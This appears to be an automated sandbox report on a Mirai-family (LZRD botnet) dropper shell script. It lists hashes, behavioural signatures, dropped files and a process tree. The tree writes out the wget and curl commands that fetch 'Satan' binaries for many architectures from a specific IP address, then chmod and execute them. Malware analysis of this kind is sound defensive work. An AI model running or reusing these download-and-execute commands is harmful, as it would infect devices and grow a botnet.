Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    16/11/2024, 10:45

General

  • Target
    a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh
  • Size 2KB
  • Sample241116-mtckzaveml
  • SHA256 a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • mirai

Botnet
  • LZRD

Extracted

Family
  • mirai

Botnet
  • LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh
    /tmp/a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh
    1⤵
    • Writes file to tmp directory
    PID:715
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:718
    • /usr/bin/wget
      wget http://64.235.45.196/nice/Satan.arc
      2⤵
      • Writes file to tmp directory
      PID:725
    • /usr/bin/curl
      curl -O http://64.235.45.196/nice/Satan.arc
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:743
    • /bin/cat
      cat Satan.arc
      2⤵
        PID:745
      • /bin/chmod
        chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc systemd-private-4f7bc37c86784b23b8185fb12343d192-systemd-timedated.service-1lEnMP
        2⤵
        • File and Directory Permissions Modification
        PID:746
      • /tmp/Satan
        ./Satan
        2⤵
        • Executes dropped EXE
        PID:747
      • /usr/bin/wget
        wget http://64.235.45.196/nice/Satan.x86
        2⤵
        • Writes file to tmp directory
        PID:749
      • /usr/bin/curl
        curl -O http://64.235.45.196/nice/Satan.x86
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:750
      • /bin/cat
        cat Satan.x86
        2⤵
          PID:751
        • /bin/chmod
          chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.x86 systemd-private-4f7bc37c86784b23b8185fb12343d192-systemd-timedated.service-1lEnMP
          2⤵
          • File and Directory Permissions Modification
          PID:752
        • /tmp/Satan
          ./Satan
          2⤵
          • Executes dropped EXE
          PID:753
        • /usr/bin/wget
          wget http://64.235.45.196/nice/Satan.x86_64
          2⤵
          • Writes file to tmp directory
          PID:755
        • /usr/bin/curl
          curl -O http://64.235.45.196/nice/Satan.x86_64
          2⤵
          • Writes file to tmp directory
          PID:762
        • /bin/cat
          cat Satan.x86_64
          2⤵
            PID:776
          • /bin/chmod
            chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.x86 Satan.x86_64 systemd-private-4f7bc37c86784b23b8185fb12343d192-systemd-timedated.service-1lEnMP
            2⤵
            • File and Directory Permissions Modification
            PID:777
          • /tmp/Satan
            ./Satan
            2⤵
            • Executes dropped EXE
            PID:779
          • /usr/bin/wget
            wget http://64.235.45.196/nice/Satan.i686
            2⤵
            • Writes file to tmp directory
            PID:782
          • /usr/bin/curl
            curl -O http://64.235.45.196/nice/Satan.i686
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:794
          • /bin/cat
            cat Satan.i686
            2⤵
              PID:808
            • /bin/chmod
              chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.i686 Satan.x86 Satan.x86_64 systemd-private-4f7bc37c86784b23b8185fb12343d192-systemd-timedated.service-1lEnMP
              2⤵
              • File and Directory Permissions Modification
              PID:809
            • /tmp/Satan
              ./Satan
              2⤵
              • Executes dropped EXE
              PID:810
            • /usr/bin/wget
              wget http://64.235.45.196/nice/Satan.mips
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:812
            • /usr/bin/curl
              curl -O http://64.235.45.196/nice/Satan.mips
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:843
            • /bin/cat
              cat Satan.mips
              2⤵
              • System Network Configuration Discovery
              PID:844
            • /bin/chmod
              chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.i686 Satan.mips Satan.x86 Satan.x86_64 systemd-private-4f7bc37c86784b23b8185fb12343d192-systemd-timedated.service-1lEnMP
              2⤵
              • File and Directory Permissions Modification
              PID:845
            • /tmp/Satan
              ./Satan
              2⤵
              • Executes dropped EXE
              PID:846
            • /usr/bin/wget
              wget http://64.235.45.196/nice/Satan.mips64
              2⤵
              • System Network Configuration Discovery
              PID:848
            • /usr/bin/curl
              curl -O http://64.235.45.196/nice/Satan.mips64
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:849
            • /bin/cat
              cat Satan.mips64
              2⤵
              • System Network Configuration Discovery
              PID:850
            • /bin/chmod
              chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.i686 Satan.mips Satan.mips64 Satan.x86 Satan.x86_64 systemd-private-4f7bc37c86784b23b8185fb12343d192-systemd-timedated.service-1lEnMP
              2⤵
              • File and Directory Permissions Modification
              PID:851
            • /tmp/Satan
              ./Satan
              2⤵
              • Executes dropped EXE
              PID:852
            • /usr/bin/wget
              wget http://64.235.45.196/nice/Satan.mpsl
              2⤵
              • Writes file to tmp directory
              PID:856
            • /usr/bin/curl
              curl -O http://64.235.45.196/nice/Satan.mpsl
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:857
            • /bin/cat
              cat Satan.mpsl
              2⤵
                PID:858
              • /bin/chmod
                chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64
                2⤵
                • File and Directory Permissions Modification
                PID:859
              • /tmp/Satan
                ./Satan
                2⤵
                • Executes dropped EXE
                • Modifies Watchdog functionality
                • Writes file to system bin folder
                • Reads runtime system information
                PID:860
              • /usr/bin/wget
                wget http://64.235.45.196/nice/Satan.arm
                2⤵
                • Writes file to tmp directory
                PID:866
              • /usr/bin/curl
                curl -O http://64.235.45.196/nice/Satan.arm
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:867
              • /bin/cat
                cat Satan.arm
                2⤵
                  PID:868
                • /bin/chmod
                  chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.arm Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64
                  2⤵
                  • File and Directory Permissions Modification
                  PID:869
                • /tmp/Satan
                  ./Satan
                  2⤵
                  • Executes dropped EXE
                  PID:870
                • /usr/bin/wget
                  wget http://64.235.45.196/nice/Satan.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:872
                • /usr/bin/curl
                  curl -O http://64.235.45.196/nice/Satan.arm5
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:873
                • /bin/cat
                  cat Satan.arm5
                  2⤵
                    PID:874
                  • /bin/chmod
                    chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.arm Satan.arm5 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64
                    2⤵
                    • File and Directory Permissions Modification
                    PID:875
                  • /tmp/Satan
                    ./Satan
                    2⤵
                    • Executes dropped EXE
                    PID:876
                  • /usr/bin/wget
                    wget http://64.235.45.196/nice/Satan.arm6
                    2⤵
                    • Writes file to tmp directory
                    PID:878
                  • /usr/bin/curl
                    curl -O http://64.235.45.196/nice/Satan.arm6
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:879
                  • /bin/cat
                    cat Satan.arm6
                    2⤵
                      PID:880
                    • /bin/chmod
                      chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64
                      2⤵
                      • File and Directory Permissions Modification
                      PID:881
                    • /tmp/Satan
                      ./Satan
                      2⤵
                      • Executes dropped EXE
                      PID:882
                    • /usr/bin/wget
                      wget http://64.235.45.196/nice/Satan.arm7
                      2⤵
                      • Writes file to tmp directory
                      PID:884
                    • /usr/bin/curl
                      curl -O http://64.235.45.196/nice/Satan.arm7
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:885
                    • /bin/cat
                      cat Satan.arm7
                      2⤵
                        PID:886
                      • /bin/chmod
                        chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64
                        2⤵
                        • File and Directory Permissions Modification
                        PID:887
                      • /tmp/Satan
                        ./Satan
                        2⤵
                        • Executes dropped EXE
                        PID:888
                      • /usr/bin/wget
                        wget http://64.235.45.196/nice/Satan.ppc
                        2⤵
                        • Writes file to tmp directory
                        PID:890
                      • /usr/bin/curl
                        curl -O http://64.235.45.196/nice/Satan.ppc
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:891
                      • /bin/cat
                        cat Satan.ppc
                        2⤵
                          PID:892
                        • /bin/chmod
                          chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.x86 Satan.x86_64
                          2⤵
                          • File and Directory Permissions Modification
                          PID:893
                        • /tmp/Satan
                          ./Satan
                          2⤵
                          • Executes dropped EXE
                          PID:894
                        • /usr/bin/wget
                          wget http://64.235.45.196/nice/Satan.sparc
                          2⤵
                            PID:896
                          • /usr/bin/curl
                            curl -O http://64.235.45.196/nice/Satan.sparc
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:897
                          • /bin/cat
                            cat Satan.sparc
                            2⤵
                              PID:898
                            • /bin/chmod
                              chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sparc Satan.x86 Satan.x86_64
                              2⤵
                              • File and Directory Permissions Modification
                              PID:899
                            • /tmp/Satan
                              ./Satan
                              2⤵
                              • Executes dropped EXE
                              PID:900
                            • /usr/bin/wget
                              wget http://64.235.45.196/nice/Satan.m68k
                              2⤵
                              • Writes file to tmp directory
                              PID:901
                            • /usr/bin/curl
                              curl -O http://64.235.45.196/nice/Satan.m68k
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:902
                            • /bin/cat
                              cat Satan.m68k
                              2⤵
                                PID:903
                              • /bin/chmod
                                chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.m68k Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sparc Satan.x86 Satan.x86_64
                                2⤵
                                • File and Directory Permissions Modification
                                PID:904
                              • /tmp/Satan
                                ./Satan
                                2⤵
                                • Executes dropped EXE
                                PID:905
                              • /usr/bin/wget
                                wget http://64.235.45.196/nice/Satan.sh4
                                2⤵
                                • Writes file to tmp directory
                                PID:907
                              • /usr/bin/curl
                                curl -O http://64.235.45.196/nice/Satan.sh4
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:908
                              • /bin/cat
                                cat Satan.sh4
                                2⤵
                                  PID:909
                                • /bin/chmod
                                  chmod +x a74b4b30d45d971759369c31da7731f83d0bb0d740ae275a9b14e321047cdcbc.sh busybox Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.m68k Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sh4 Satan.sparc Satan.x86 Satan.x86_64
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:910
                                • /tmp/Satan
                                  ./Satan
                                  2⤵
                                  • Executes dropped EXE
                                  PID:911

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    Satan

                                    • Path /tmp/Satan
                                    • Size 37KB
                                    • SHA256 45dfa91dd7d2e4786d97d8306ecd7ddb681ee47307c5c71adfa363a99579e9a7
                                    • MD5 SHA1 SHA512 SSDEEP

                                    Satan

                                    • Path /tmp/Satan
                                    • Size 36KB
                                    • SHA256 fbdd988dc8735258f6fea1c65e740d2b727844ad120b065bfb8a545b7aad9dc6
                                    • MD5 SHA1 SHA512 SSDEEP

                                    Satan

                                    • Path /tmp/Satan
                                    • Size 37KB
                                    • SHA256 cf079902dc78084fb677eabd3782562d1c5acf730f7c25e24a17eaef19f3ab0c
                                    • MD5 SHA1 SHA512 SSDEEP

                                    Satan

                                    • Path /tmp/Satan
                                    • Size 43KB
                                    • SHA256 a0f785888f8ea0b4b70288d0535fc51ea2feafe56b985381743d7f2ff15ed0d0
                                    • MD5 SHA1 SHA512 SSDEEP

                                    Satan

                                    • Path /tmp/Satan
                                    • Size 95KB
                                    • SHA256 2fcc36963326a289cd61360073f5594e90d9790d33ec23bb1221b560c80f8ec8
                                    • MD5 SHA1 SHA512 SSDEEP

                                    Satan.arc

                                    • Path /tmp/Satan.arc
                                    • Size 113KB
                                    • SHA256 a5b802a712ab8b03041deb61d6a552a951b998570cf2fc842958974666c9387f
                                    • MD5 SHA1 SHA512 SSDEEP

                                    busybox

                                    • Path /tmp/busybox
                                    • Size 857KB
                                    • SHA256 80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c
                                    • MD5 SHA1 SHA512 SSDEEP